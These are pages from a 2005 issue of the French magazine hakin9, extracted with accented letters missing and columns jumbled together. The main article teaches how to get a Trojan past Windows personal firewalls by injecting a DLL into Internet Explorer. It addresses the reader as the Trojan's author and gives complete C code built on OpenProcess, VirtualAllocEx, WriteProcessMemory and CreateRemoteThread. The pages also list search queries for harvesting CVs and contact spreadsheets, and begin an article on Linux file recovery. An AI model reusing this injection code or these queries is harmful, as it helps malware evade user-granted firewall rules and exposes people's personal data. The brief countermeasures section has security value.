attaques contre d'autres systmes
trouver, il faut poser la question sui- notamment si celles-ci concernent sur le rseau. Les camras Inter-
vante : intitle:"curriculum vitae" les contacts dans le cadre d'une so- net ne sont pas trs dangereuses
"phone * * *" "address *" "e-mail". cit. Dans ce cas, il est conseill et peuvent tre considres comme
Il est galement facile de trouver de taper la question : filetype:xls un divertissement mais il n'est pas
des adresses sous forme de listes inurl:"email.xls" permettant de difficile d'imaginer la situation o
de noms, de numros de tlphones trouver des feuilles de calcul nom- les donnes de ce type auraient
et d'adresses e-mail (Figure 11). mes email.xls. de l'importance (une espiglerie
Cela rsulte du fait que presque La mme situation concerne les industrielle, un vol main arme).
tous les utilisateurs d'Internet logiciels de messagerie instantane Les questions sur les imprimantes
crent diffrents types de carnets et les listes de contacts enregistres. et les camras se trouvent dans le
d'adresses lectroniques ceux-ci Quand une liste de ce type tombe Tableau 8 et la Figure 13 reprsente
sont peu importants pour un intrus entre les mains d'un intrus, celui-ci la page de configuration de l'impri-
moyen mais un manipulateur habile pourra essayer de se faire passer mante trouve sur le rseau. n
(social engineering) sera capable pour vos amis. Ce qui est intres-
d'utiliser au mieux ces donnes, sant, c'est qu'un grand nombre de

hakin9 N o 4/2005 www.hakin9.org 33


Contourner discrtement
les pare-feux personnels
dans Windows
Mark Hamilton

Nombreux sont les utilisateurs


d'Internet avoir recours
des pare-feux dits personnels,
comme Softwin BitDefender
ou Norton Personal Firewall.
Ces applications gnrent
des messages-guides lorsque
d'autres programmes tentent
d'tablir des connexions Internet
et bloquent de telles tentatives
si ces dernires ne sont pas
confirmes par l'utilisateur.
Toutefois, il existe tout au moins
une possibilit de contourner
discrtement de tels pare-feux.

S
upposons que vous ayez dvelopp tant puisse faire la diffrence entre ce que
un cheval de Troie ou un logiciel de notre programme et le programme autoris
ce genre. Malheureusement, vos vic- font (le tout en notre faveur). Bien qu' priori
times utilisent un pare-feu cens bloquer les difficile, ce procd est relativement ais.
tentatives de connexion et mme dcouvrir Tout ce dont nous avons besoin est fourni par
l'existence de cet outil (voir la Figure 1). Il vous l'API de Windows.
faut, d'une manire ou d'une autre, percer ce
systme de scurit. Programmation d'un
Un pare-feu performant possde en g- contournement
nral une fonction charge de sauvegarder Afin de contourner discrtement un pare-feu,
les rgles de scurit de sorte que l'utilisateur il vous suffit de regrouper les fonctions de votre
n'ait pas tre inform chaque tentative de
connexion des outils obligs d'tablir des con-
nexions trs souvent comme les navigateurs, Cet article explique...
les clients email, les filtres antispam, les mes-
comment contourner les pare-feux personnels
sageries instantanes, etc. L'utilisateur accorde
sous Windows,
ces permissions lorsqu'il pense que ce logiciel comment joindre des fils d'excution externes
est confidentiel et lorsqu'il sait qu'il va l'utiliser aux processus.
trs souvent.
Pratique

Vous avez peut-tre dj devin notre


Ce qu'il faut savoir...
dmarche : il suffit de faire croire au pare-feu
que notre cheval de Troie n'est rien d'autre il est ncessaire de matriser les bases du traite-
qu'un nouveau programme pour lequel il ment multi-tches,
existe dj une permission. Qui aurait pu vous connaissez idalement le modle de pro-
croire qu'il tait possible de procder ainsi ? cessus MS Windows,
Le programme appropri doit seulement ex- vous possdez idalement un niveau interm-
diaire dans la programmation WinAPI.
cuter les fonctions de notre cheval de Troie,
de sorte qu'aucun pare-feu personnel exis-

34 www.hakin9.org hakin9 N o 4/2005


Contourner les pare-feux dans Windows

propos de l'auteur
Diplm d'informatique, Mark Hamil-
ton travaille comme consultant ind-
pendant en scurit pour le compte
de PME ainsi que de particuliers.
En plus de la neuroinformatique
et du grid computing, la scurit des
applications Web et des rseaux re-
prsentent les principaux domaines
de son activit. Le prsent article est
sa premire publication.

outil ncessitant une connexion en


Figure 1. Connexions non autorises bloques par un pare-feu
une seule fonction. Cette fonction
peut tre excute en tant qu'unique
fil d'excution (se reporter lEnca- Listing 1. La fonction CreateRemoteThread() prototype
dr intitul Windows, les processus
et les fils d'excution), lequel peut HANDLE CreateRemoteThread
(
tre joint de nouveau un autre pro-
HANDLE hProcess,
cessus d'excution (voir le Figure 2). LPSECURITY_ATTRIBUTES lpThreadAttributes,
L'API Windows propose une fonction SIZE_T dwStackSize,
trs utile : CreateRemoteThread() (voir LPTHREAD_START_ROUTINE lpStartAddress,
le Listing 1). LPVOID lpParameter,
DWORD dwCreationFlags,
Cette fonction a pour but de
LPDWORD lpThreadId
crer un fil d'excution fonctionnant );
dans l'espace d'adressage virtuel
d'un autre processus. Chaque ac-
tion de ce fil d'excution sera par fonction peut galement tre utili- article). En d'autres termes, votre
consquent interprte comme s'il se sur une base constructive, mais cheval de Troie doit chercher des
tait excut partir de son pro- nous ne l'utiliserons pas de cette processus htes appropris (voir le
cessus hte (remarquez que cette manire dans le cadre du prsent Tableau 1) puis joindre son fil d'ex-
cution l'un d'eux. Le fil d'excution
sera excut dans l'espace adresse
Windows, les processus et les fils d'excution de ce processus hte et, de ce fait,
Dans un pass rvolu, le systme d'exploitation MS Windows tait incapable
un pare-feu autorisera sa tentative
d'excuter plus d'un programme simultanment. C'est la raison pour laquelle ce
de connexion.
systme d'exploitation tait dit monotche. Avec le progrs, un nouveau modle
Au vue de ce que nous savons
appel multitche a t implment. En d'autres termes, il devenait possible
d'excuter plus d'un programme la fois dans la mesure o un processus repr- maintenant, notre programme doit
sentait l'instance d'un programme d'excution. La dure des calculs et l'espace tre capable de :
ddi la RAM ont d faire l'objet d'une partition puisque chaque processus
ncessite son propre calcul et sa propre RAM. Il est donc possible de comparer trouver des processus d'excu-
un processus une attribution du temps de calcul et de la RAM pour diffrentes tion appropris,
tches. joindre un fil d'excution l'un de
Toutefois, ce n'est pas le processus proprement parl qui excute les l- ces processus,
ments, mais les fils dits d'excution. Chaque processus dispose d'au moins un communiquer avec le fil d'excu-
fil d'excution charg d'excuter les commandes et de fonctionner dans l'espace
tion loign.
d'adressage virtuel de son processus hte (partie de la RAM attribue au pro-
cessus par le systme d'exploitation). Un processus peut disposer de plus d'un
Par ailleurs, le fil d'excution
fil d'excution. On appelle cette proprit le traitement multi-tches. Toutefois,
les fils d'excution ne peuvent exister sans un processus, qui reprsente une distance doit tre capable de com-
sorte d'habitat pour eux. En rsum, aucun processus n'a accs l'espace muniquer avec notre programme
adresse d'un autre processus, mais, depuis Windows NT, il est devenu possible, et d'tablir une connexion Internet.
pour quelque raison que ce soit, de dplacer un fil d'excution d'une section
de l'espace adresse vers une autre, mme dans l'espace adresse d'un autre Trouver les processus
processus, et d'excuter ce dernier ultrieurement. Voil ce que nous pouvons appropris
exploiter. Il existe deux possibilits de dtec-
ter une application : par le nom de

hakin9 N o 4/2005 www.hakin9.org 35


son programme excutable ou par
le titre de sa fentre. Des mthodes
plus sres existent probablement
comme les fausses communications
avec ces processus, mais les deux
approches mentionnes ci-dessus
sont certainement les plus faciles.
Il vous faut toutefois bien dterminer
laquelle de ces mthodes utiliser
pour quel programme. Par exem-
ple, le titre de la fentre Internet
Explorer change pour chaque site
Web que nos victimes potentielles
visiteront (puisque c'est le mme
Figure 2. Fils d'excution joints des processus privilgis accepts par un
que le titre du site Web visit). Dans
pare-feu
ce cas, la dtection par les noms de
Tableau 1. Programmes les plus connus ayant recours des rseaux fentres est inutile, mais le nom du
utilisables comme applications htes fichier .exe (iexplore.exe) n'est vi-
demment pas modifi.
Programme Nom de l'excutable Version du programme Par ailleurs, tous les logiciels
htes adapts ne disposent pas
tous de fentre. La dtection par le
Internet Explorer iexplore.exe 6.0.0 nom .exe est donc la premire m-
Mozilla Firefox firefox.exe 1.0.3 thode envisager, en tant que m-
thode dfinitivement plus sre, mais
Netscape Navigator netscp.exe 7.1
il existe sans doute des program-
Opera opera.exe 8.0 mes dpourvus de nom fixe en .exe,
Mozilla mozilla.exe 1.7.6 et il serait donc utile de disposer
d'une autre mthode.
Mozilla Thunderbird thunderbird.exe 1.0
Afin de trouver l'ensemble des
Outlook Express msimn.exe 6.0 processus d'excution, vous pouvez
Outlook outlook.exe 9.0 avoir recours la fonction CreateTool-
help32Snapshot() propose par l'API
Eudora eudora.exe 6.2
de Microsoft Windows :
Pegasus Pegasus.exe 4.2
HANDLE WINAPI
ICQ icq.exe 5.0.5
CreateToolhelp32Snapshot(
ICQ Lite ICQLite.exe 2.0.3.4 DWORD dwFlags,
YIM yim.exe 6.0 DWORD th32ProcessID
);
AIM aim.exe 5.1
MSNM msnm.exe 7.0
Pour le premier paramtre DWORD
Miranda miranda32.exe 0.3 (Double Word), nous utiliserons
Trillian trillian.exe basic 3.1 TH32CS _ SNAPPROCESS, puisque
Spamihilator spamihilator.exe 0.9 nous ne voulons que des proces-
sus (et pas de fils d'excution !),
Shareaza shareaza.exe 2.1
pour le second, nous aurons re-
KaZaA kazaa.exe 3.0 cours la valeur 0 (celui-ci serait
Pratique

KaZaA Lite kazaalite.exe 2.6 ignor de toute faon). Ensuite,


eMule emule.exe 0.4.5 il est possible d'utiliser les fonc-
eDonkey edonkey.exe 0.5 tions Process32First() ainsi que
Process32Next() afin de scanner la
eDonkey 2000 edonkey2000.exe 1.1
copie d'cran et de rechercher les
BitTorrent BitTorrent-4.0.1.exe 4.0.1 noms en .exe appropris.
Azureus Azureus.exe 2.2 Il suffit dsormais de dterminer
WinMX WinMX.exe 3.5 le descripteur d'un processus parmi
tous les processus appropris

36 www.hakin9.org hakin9 N o 4/2005


Contourner les pare-feux dans Windows

(nous en avons besoin d'un pour


la fonction CreateRemoteThread()). Listing 2. Fonction tentant d'ouvrir un descripteur pour le processus
Il nous faut donc prendre un ID de iexplore.exe
processus ou ProcessID (stock #include <windows.h>
galement l'intrieur de la copie #include <tlhelp32.h>
d'cran) puis, appeler la fonction #include <stdio.h>
OpenProcess() afin d'obtenir un des-
BOOL FindInternetExplorer( )
cripteur de processus valide. Vous
{
trouverez dans le Listing 2 un exem- HANDLE hProcessSnap;
ple de fonction qui tente d'ouvrir un HANDLE hProcess;
descripteur pour un processus PROCESSENTRY32 pe32;
iexplore.exe. hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
Une copie d'cran de l'ensem-
{
ble des processus d'excution return( FALSE );
est tout d'abord gnre puis son }
accessibilit est contrle. La fonc- pe32.dwSize = sizeof( PROCESSENTRY32 );
tion cherche ensuite les processus if( !Process32First( hProcessSnap, &pe32 ) )
{
intituls iexplore.exe prsents
CloseHandle( hProcessSnap );
dans la copie d'cran au moyen return( FALSE );
des fonctions Process32First() }
et Process32Next(). supposer que do
cette fonction trouve un processus {
if( strcmp( pe32.szExeFile, "iexplore.exe") == 0 )
appropri, un descripteur de ce
{
processus en question sera finale- hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
ment ouvert au moyen de la fonc- if ( hProcess != NULL )
tion OpenProcess() (dans la mesure {
o un accs complet au processus // Here we can attach our thread
}
est ncessaire, le drapeau PRO-
CloseHandle( hProcess );
CESS _ ALL _ ACCESS est utilis). Si la
}
tentative aboutit, il est alors possi- } while( Process32Next( hProcessSnap, &pe32 ) );
ble de joindre un fil d'excution ce CloseHandle( hProcessSnap );
processus. return( TRUE );
}
Afin de russir l'excution de
la fonction OpenProcess(), des
droits particuliers ne sont pas n-
cessaires tant que le processus Listing 3. Exemple de fonction devant tre appele de l'intrieur mme
cible tourne sous le mme compte de l'application distante
utilisateur que celui de votre ap-
#include <windows.h>
plication. En d'autres termes, tant BOOL OnProcess( BOOL Attach )
que l'utilisateur excute le proces- {
sus cible, celui-ci peut tre inject TCHAR Filename[ MAX_PATH ] = { TEXT('\0') };
partir de votre application en GetModuleFileName( NULL, Filename, MAX_PATH );
MessageBox( NULL, Filename,
supposant que rien n'est venu mo-
Attach ? TEXT("Attach") : TEXT("Detach"),
difier les droits d'accs du proces- MB_OK | MB_ICONINFORMATION | MB_TASKMODAL );
sus, ce qui, bien sr, reprsente le return TRUE;
pire scnario. }
BOOL WINAPI DllMain( HINSTANCE hinstDLL,
DWORD fdwReason, LPVOID lpvReserved )
Joindre le fil {

d'excution au switch( fdwReason )


{
processus hte case DLL_PROCESS_ATTACH:
Nous disposons dsormais d'une return OnProcess( TRUE );
case DLL_PROCESS_DETACH:
poigne valide pour le processus
return OnProcess( FALSE );
appropri. Nous pouvons donc ten- default:
ter de joindre notre fonction de fil return TRUE;
d'excution (en anglais threadfunc- }
tion) sous forme de fil d'excution }

hakin9 N o 4/2005 www.hakin9.org 37


destin cette application. Cette
Listing 4. Dtermination du chemin absolu d'un fichier .dll fonction de fil d'excution doit tre
ModuleFileName[0] = TEXT('\0');
comprise dans une DLL (Dynami-
GetModuleFileName( NULL, ModuleFileName, MAX_PATH ); cally Linked Library). Le Listing 3
FileName = &ModuleFileName[lstrlen( ModuleFileName )]; prsente un exemple de fonction
while ( FileName > &ModuleFileName[0] qui sera appele de l'intrieur
&& FileName[0] != TEXT('\\') && FileName[0] != TEXT('/') )
mme de l'application distante.
FileName--;
if ( FileName[0] != TEXT('\0') )
Cette fonction a pour but d'afficher
FileName++; une bote de message lorsque le fil
lstrcpy( FileName, TEXT("test.dll") ); d'excution est amorc et stopp.
La procdure prcise n'est pas trs
intressante. Le fichier .dll en ques-
Listing 5. Implmentation de la fonction CreateRemoteThread() tion est intitul test.dll et se trouve
dans le mme rpertoire que notre
hRemoteThread = CreateRemoteThread( hProcess, NULL, 0, fichier excutable. Le code ex-
(LPTHREAD_START_ROUTINE)GetProcAddress(
pos dans le Listing 3 est complet,
GetModuleHandle( TEXT("kernel32.dll") ),
#ifdef UNICODE
il vous suffit de le compiler en tant
"LoadLibraryW"), que DLL. La procdure qui permet
#else d'accomplir la compilation change
"LoadLibraryA"), d'un IDE (Environnement de Dve-
#endif
loppement Intgr) l'autre, mais
RemoteFileName, 0, NULL );
il est assez judicieux de chercher
une entre du menu appele New
Listing 6. Dchargement du code afin d'viter une exception de DLL file ou portant un autre nom de
violation d'accs ce genre.
La fonction DllMain() a pour ob-
WaitForSingleObject( hRemoteThread, INFINITE ); jectif de contrler si le fil d'excution
GetExitCodeThread( hRemoteThread, (LPDWORD)&RemoteModule ); a bien t joint ou pas et d'afficher
hRemoteThread = CreateRemoteThread( hProcess, NULL,
une bote de message en appelant
0, (LPTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle( TEXT("kernel32.dll") ), "FreeLibrary"), la fonction OnProcess() qui a recours
RemoteModule, 0, NULL ); la fonction MessageBox() pour af-
ficher le message Attach (joint) ou
Detach (dttach).
Listing 7. Programme intgral charg de joindre des fils d'excution Une fois toutes ces prpara-
une application hte tions termines, nous pouvons
enfin tenter d'injecter ce fichier .dll
#include <windows.h> dans le processus hte. Pour ce
#include <tlhelp32.h>
faire, il nous faut attribuer une page
#include <stdio.h>
BOOL AttachThread( );
de mmoire au processus cible
int main( ) pour notre code au moyen de Vir-
{ tualAllocEx(), crire le code dans
AttachThread( ); la mmoire cible grce WritePro-
}
cessMemory() et enfin excuter Crea-
BOOL AttachThread( )
teRemoteThread() avec les donnes
{
HANDLE hProcessSnap; ainsi rassembles. Par ailleurs, les
HANDLE hProcess; variables suivantes doivent tre
PROCESSENTRY32 pe32; dclares :
DWORD dwPriorityClass;
Pratique

LPVOID RemoteFileName;
TCHAR ModuleFileName[MAX_PATH];
LPVOID RemoteFileName,
LPTSTR FileName; TCHAR ModuleFileName[MAX _ PATH],
HANDLE hRemoteThread; LPTSTR FileName,
HINSTANCE RemoteModule; HANDLE hRemoteThread,
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
HINSTANCE RemoteModule.
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
Suite sur la page suivante
La variable intitule RemoteFileName
est ncessaire pour attribuer de
la mmoire RAM, et les variables

38 www.hakin9.org hakin9 N o 4/2005


Contourner les pare-feux dans Windows

ModuleFileName et FileName sont


requises afin d'identifier le chemin Listing 7. Programme intgral charg de joindre des fils d'excution
absolu de la DLL. La variable hRe- une application hte (suite)
moteThread contiendra le descrip-
return( FALSE );
teur de notre fil d'excution distant }
et enfin la variable RemoteModule pe32.dwSize = sizeof( PROCESSENTRY32 );
prsentera l'instance du fichier DLL if( !Process32First( hProcessSnap, &pe32 ) )
{
distant.
CloseHandle( hProcessSnap );
Nous aurons recours, en tant return( FALSE );
que descripteur de processus, la }
variable hProcess dj voque dans do
le Listing 2. Il nous faut en premier {
if( strcmp(pe32.szExeFile,"iexplore.exe") == 0 )
lieu dterminer le chemin absolu du
{
fichier .dll (voir le Listing 4). hProcess = OpenProcess(
Le chemin complet de notre PROCESS_ALL_ACCESS,FALSE,
propre cheval de Troie est identifi pe32.th32ProcessID);
au moyen de la fonction GetModu- if ( hProcess != NULL )
{
leFileName(). En rgle gnrale,
RemoteFileName = VirtualAllocEx(
le nom d'un fichier DLL est dter- hProcess, NULL, MAX_PATH,
min au moyen de cette fonction. MEM_COMMIT, PAGE_READWRITE);
Toutefois, puisque nous utilisons if( RemoteFileName )
la valeur NULL pour le premier {
ModuleFileName[0] = TEXT('\0');
paramtre (charg de prsenter le
GetModuleFileName( NULL, ModuleFileName, MAX_PATH );
module que nous cherchons), cette FileName = &ModuleFileName[lstrlen( ModuleFileName )];
fonction retourne le chemin vers while ( FileName > &ModuleFileName[0] && FileName[0] != TEXT('\\')
notre application. Le deuxime && FileName[0] != TEXT('/') )
paramtre est charg de dfinir FileName--;
if ( FileName[0] != TEXT('\0') )
la variable qui reoit la valeur, le
FileName++;
troisime reprsente la taille de lstrcpy( FileName, TEXT("test.dll") );
la mmoire tampon utilise pour if( WriteProcessMemory(
le nom du fichier. Vous devriez hProcess, RemoteFileName,
maintenant obtenir quelque chose ModuleFileName, MAX_PATH, NULL ) )
{
du genre C:\chemin\au\notre\
hRemoteThread = CreateRemoteThread( hProcess,
fivchier.exe. Comme il est nces- NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(
saire d'obtenir le chemin pour notre GetModuleHandle( TEXT("kernel32.dll") ),
fichier .dll (situ dans le mme r- #ifdef UNICODE
pertoire que le fichier excutable), "LoadLibraryW"),
#else
il faut chercher la premire barre
"LoadLibraryA"),
oblique inverse au sein de la va- #endif
riable ModuleFileName de droite RemoteFileName, 0, NULL );
gauche (de manire connatre WaitForSingleObject( hRemoteThread, INFINITE );
la position partir de laquelle d- GetExitCodeThread( hRemoteThread, (LPDWORD)&RemoteModule );
hRemoteThread = CreateRemoteThread( hProcess,
bute le nom du fichier) puis rem-
NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(
placer le nom de l'application .exe GetModuleHandle(
par le nom de notre fichier DLL TEXT("kernel32.dll") ), "FreeLibrary"),
afin d'obtenir une valeur du genre RemoteModule, 0, NULL );
C:\chemin\au\notre\test.dll. VirtualFreeEx( hProcess, RemoteFileName, 0, MEM_RELEASE );
CloseHandle(hRemoteThread);
Puis, il faudra attribuer une page
}
de mmoire dans le processus cible }
de la manire suivante : }
CloseHandle( hProcess );
RemoteFileName = VirtualAllocEx( }
} while( Process32Next( hProcessSnap, &pe32 ) );
hProcess, NULL, MAX_PATH,
MEM_COMMIT, PAGE_READWRITE);
CloseHandle( hProcessSnap );
return( TRUE );
Le premier paramtre reprsente }
la poigne du processus. Ensuite,

hakin9 N o 4/2005 www.hakin9.org 39


l'adresse de dmarrage est dfinie un pointeur dirig vers une struc- Mais, dans la mesure o chacune
(comme nous utilisons la valeur ture d'attributs de scurit (que de ces mthodes est d'une com-
NULL, la fonction se charge de d- nous n'utilisons pas), le troisime plexit incroyable mme la pr-
terminer la rgion d'attribution no- a pour but de dfinir la taille de sentation des principes de base
tre place). Le troisime paramtre la pile initiale en octets (comme Memory Mapped Files disponible
dfinit la taille de la rgion dans la nous utilisons la valeur 0, la taille sur le site MSDN ne prend pas
mmoire attribuer (en octets, que par dfaut de l'excutable est uti- moins de 14 pages il est impossi-
nous souhaitons tre la plus grande lise). Puis, le pointeur dirig vers ble de les dcrire dans le cadre du
possible bien sr) puis le type d'at- notre fonction de fil d'excution est prsent article. Toutefois, en voici
tribution de mmoire est paramtr identifi au moyen de la fonction un bref rsum.
(d'autres possibilits consisteraient GetProcAddress() et pass vers
utiliser MEM _ RESET et MEM _ RESER- la fonction alors que vous devez Le message WM_COPYDATA
VE , mais pas dans notre cas). Enfin, contrler si la compilation du code Une application envoie le message
la protection de la mmoire dans la a t ralise en UNICODE ou en WM _ COPYDATA afin de passer des
rgion des pages devant tre attri- ANSI (il s'agit de la diffrence entre donnes vers une autre applica-
bues est galement paramtre LoadLibraryW et LoadLibraryA). Le tion. Pour envoyer ce message, la
PAGE _ READWRITE nous donne un sixime paramtre reprsente un fonction SendMessage() est utilise.
accs la fois en mode lecture pointeur vers une variable passe Il faut donc tre attentif aux don-
et criture. dans notre fil d'excution. L'avant nes ainsi passes, et veiller ce
Ensuite, il faut crire le code dernier paramtre est charg de qu'elles ne comportent ni pointeurs
dans la mmoire cible, de la manire prsenter un drapeau de cration ni rfrences des objets inacces-
suivante : (il est possible de paramtrer le sibles par l'application qui reoit les
drapeau CREATE _ SUSPENDED afin dites donnes. Lorsque le message
WriteProcessMemory( de dmarrer le fil d'excution sus- est en cours d'envoi, les donnes
hProcess, RemoteFileName, pendu). Le dernier paramtre est rfrences ne doivent pas tre
ModuleFileName, MAX_PATH, un pointeur dirig vers une variable modifies.
NULL ); charge de recevoir l'identifiant du
fil d'excution (inutilis dans notre Memory Mapped Files (MMF)
Encore une fois, le premier param- cas). C'est tout ce qu'il faut pour Par Memory Mapped Files, on
tre est charg de dfinir le descrip- que le code s'excute ! dsigne des fichiers pouvant tre
teur du processus. Le deuxime a Il faut toutefois le dcharger de projets dans l'espace adresse
pour but de prsenter un pointeur nouveau, au risque de dclencher d'un ou plusieurs processus. De
vers l'adresse de base situe dans une exception de violation d'accs cette faon, la communication inter-
le processus indiqu pour lequel les au moment o le processus cible processus devient possible, mais
donnes sont crites (conformes se fermera (voir le Listing 6). Il faut est toutefois limite aux processus
la valeur de retour de la fonction d'abord attendre que notre fil d'ex- fonctionnant sous le mme systme.
VirtualAllocEx()) et le troisime cution existe pendant une priode de Les communications rseau ne sont
paramtre reprsente un pointeur temps dite INFINITE puis dterminer pas ralisables (ce qui est le cas
dirig vers la mmoire tampon le ExitCode du fil en question. Il est pour les canaux de communication
et contenant les donnes qui doi- ensuite possible de le dcharger en nomms).
vent tre crites dans l'espace passant ExitCode dans la fonction
adresse (qui a t dfini en pre- CreateRemoteThread() et en utilisant Named Pipes
mier). Ensuite, le nombre d'octets FreeLibrary au sein de la fonction On entend par named pipes l'ex-
crire est pass et la dernire GetModuleHandle(). tension du concept d'un tube sous
tape consiste dfinir un pointeur Vous trouverez dans le Listing 7 les systmes UNIX (galement
dirig vers une variable qui recevra l'application que nous venons d'cri- possible, bien entendu, sous les
le nombre d'octets transfrs (bien re dans son intgralit. systmes Windows). Il s'agit de
que nous ne l'utilisons pas). l'une des mthodes utilise pour la
Pratique

Et voici le moment de vrit. Communication entre communication inter processus. La


Il est enfin possible d'excuter le le fil d'excution conception de tubes nomms est
code partir de l'intrieur mme du distant et notre identique la communication du
processus distant. Nous utilisons par type client-serveur. Ces canaux ne
consquent la fonction CreateRemo-
application sont pas permanents et ne peuvent
teThread() (voir le Listing 5). Les possibilits de communiquer pas tre crs en tant que fichiers
Nous repassons tout d'abord avec une autre application, un spciaux. Les tubes nomms ne
la poigne du processus. Le autre fil d'excution ou un autre sont que trs rarement remarqus
deuxime paramtre reprsente processus sont innombrables. par les utilisateurs.

40 www.hakin9.org hakin9 N o 4/2005


La mmoire partage Mthodes de protection du
La mmoire partage est une ct de l'application hte
variante de la communication Ce genre de protection est pos-
inter processus trs efficace. Un sible en thorie, mais semble
programme cre une part de la inapplicable dans la pratique. La
mmoire accessible par d'autres meilleure approche et la moins
processus. Toutefois, cette m- plausible galement est une
thode est l'une des plus complexes fonction d'autoprotection dont
implmenter par rapport aux chaque application hte doit tre
autres. dote. Cette fonction a pour but
de veiller ce qu'il n'y ait aucun fil
Contre-mesures d'excution tranger fonctionnant
Faire simple dans ce domaine re- dans l'espace adresse virtuel de
lve vraiment du dfi. Il semble qu'il l'application, et est mme capable
n'existe ce stade aucune solution de stopper de tels fils d'excu-
pertinente pour rsoudre ce pro- tion (ainsi que les menaces dont
blme. Donc si par tout hasard vous ils sont porteurs). L'inconvnient
avez une ide de gnie, n'hsitez d'une telle fonction est que chaque
pas de la publier. Voici ci-dessous dveloppeur de logiciel devrait
quelques pistes, non satisfaisantes implmenter une fonctionnalit as-
toutefois. similable dans son produit (puisque
c'est le seul savoir si un fil d'ex-
Mthodes de protection cution est non dsir ou pas, ce qui
du ct utilisateur rend impossible le dveloppement
Vous, en tant qu'utilisateur, pouvez d'une application capable de scan-
vous protger en veillant ne pas ner n'importe quel processus clas-
crer des permissions perptuel- sique pour contrer des injections
les. Par ailleurs, certains pare-feux malveillantes).
autorisent des connexions sur tous
les ports si vous acceptez qu'un Conclusion
port particulier fasse office de Ce qui est en tout cas vident, c'est
standard. Il vous faut alors para- qu'il est encore difficile de se pro-
mtrer les ports manuellement tger contre les attaques bases
pour obtenir des rgles de scurit sur de telles injections. Toutefois,
plus performantes par exemple, il existe un pare-feu, appel Tiny,
votre client E-mail utilise les ports capable de dtecter ces piratages
110 et 25. Il ne faut donc autoriser en interceptant les appels issus de
que ces ports dans votre rgle de le fonction CreateRemoteThread(),
scurit ; certains utilisent d'autres mais aucun pare-feu n'est par-
ports, mais vous pouvez toutefois fait, et mme Tiny est incapable
utiliser ces ports de manire spci- de vous indiquer si une injection
fique pour les rgles de scurit de ainsi dtecte est rellement mal-
votre pare-feu. Mais, mme avec veillante ou au contraire utile. Pour
ces mesures de prcaution, il est de plus amples informations sur les
encore trs difficile de savoir si fonctions utilises lors de cette d-
une tentative de connexion issue monstration, je vous recommande
d'un processus inject est normale de consulter le site de MSDN o
ou pas. Comme vous le savez d- chaque fonction de l'API Windows
sormais, la tentative de connexion y est illustre. n
agit comme si elle manait de ce
processus.

Sur Internet
http://www.msdn.microsoft.com The Microsoft Developer Network,
http://www.winapi.org le site consacr la programmation sous Windows.

hakin9 N o 4/2005 www.hakin9.org 41


Rcupration des donnes
partir des systmes de
fichiers Linux
Bartosz Przybylski

Quand, par exemple la suite


d'une intrusion, vous avez
perdu des fichiers importants
sous Linux, vous ne devez pas
dsesprer. Il existe plusieurs
mthodes de rcupration des
donnes. Bien que souvent ce
soit trs fastidieux, les outils
appropris permettront de
rcuprer mme la totalit du
systme de fichiers endommag.

V
otre serveur a t victime d'un pira- les donnes partir de diffrents types de sys-
tage. L'intrus tait si malicieux qu'il a tmes de fichiers.
supprim plusieurs fichiers importants
sur votre disque dur, y compris le programme Prparation de la partition
que vous labor depuis plusieurs mois. Avant la rcupration des donnes
de rinstaller le systme (afin d'liminer du Indpendamment du systme de fichiers par-
code malin laiss par l'intrus), il serait bien de tir duquel vous voulez rcuprer vos donnes,
rcuprer les donnes. Pour cela, vous pourrez il faut dmonter la partition sur laquelle vous
utiliser les outils disponibles dans chaque dis- travaillerez. Pour tre au moins un petit peu sr
tribution Linux. que les donnes n'ont pas t endommages,
il faut excuter cette tape juste aprs la sup-
Outils ncessaires pression des fichiers.
Le premier lment indispensable est un jeu
d'outils permettant de travailler sur les syst-
mes de fichiers ext2 et ext3 il s'agit ici du pa- Cet article explique...
quet e2fsprogs. Pour vous, le plus important est
comment rcuprer les donnes partir des
debugfs, qui comme son nom l'indique sert
systmes de fichiers de type ext2 et ext3,
dboguer le systme de fichiers. Par dfaut
Pratique

comment sauver les fichiers de la partition Rei-


(pour la plate-forme x86), le paquet entier est serFS.
install avec le systme d'exploitation.
L'outil suivant est reiserfsck, il fait partie Ce qu'il faut savoir...
du paquet reiserfsprogs, qui sert diter le
systme de fichiers ReiserFS. Ce paquet doit l'utilisation de la ligne de commande sous
tre inclus aussi dans le systme. Quant au Linux,
programme dd, il vous servira rcuprer une les notions de base de la construction des sys-
partition entire avec le systme de fichiers tmes de fichiers.
ReiserFS et sera une alternative pour rcuprer

42 www.hakin9.org hakin9 N o 4/2005


Rcupration des donnes

Si, par contre, vous prfrez terminer


Notions lies l'espace disque les processus de faon standard,
il faut excuter :
inodes
L'inode est une structure de donnes utilise dans les systmes de fichiers linuxiens
# fuser -TERM -v -m /dev/hda10
pour dcrire les fichiers. L'inode se compose des lments suivants :

du type de fichier un fichier ordiniare, un rpertoire ou un fichier de priphri- La seconde mthode de dmontage
que, d'un systme systme de fichiers
de l'identifiant UID du propritaire, consiste le mettre en mode RO
de la liste de blocs disque et de leurs fragments constituant le fichier. (read only). Ainsi, vos fichiers ne
pourront pas tre remplacs. Pour
L'inode peut tre trait comme un identifiant du fichier sur le disque dur, utilis par le
ce faire, tapez la commande sui-
systme pour retrouver le fichier souhait. chaque fichier sur la partition donne,
vante :
un seul inode est affect.

Bloc de disque # mount -o ro, remount /dev/hda10


Le bloc de disque est une partie de l'espace sur la partition qui stocke les informa-
tions. La taille du bloc est dfinie par l'utilisateur lors du partitionnement du disque Attention : la commande ne fonc-
dur. Elle peut tre change l'aide des programmes modifiant le systme de fichiers
tionnera pas, si la partition est une
donn. Contrairement aux inodes, plusieurs blocs peuvent appartenir un fichier.
partition root directory, c'est--dire,
Journalisation elle constitue le systme de fichiers
La journalisation (en anglais journaling, enregistrement des modifications) est l'une principal. Si c'est le cas, il faut y infor-
des mthodes de stockage des donnes sur le disque dur. Le principe est trs sim- mer le programme mount, pour qu'il
ple, et en mme temps trs efficace. Le schma simplifi du fonctionnement est n'enregistre pas les changements
prsent sur la Figure 1. dans le fichier /etc/mtab. Pour cela,
Comme vous voyez, le Fichier1, aprs la modification, ne changera pas de
ajoutez l'option -n.
donnes contenues dans son emplacement primaire (contrairement aux systmes
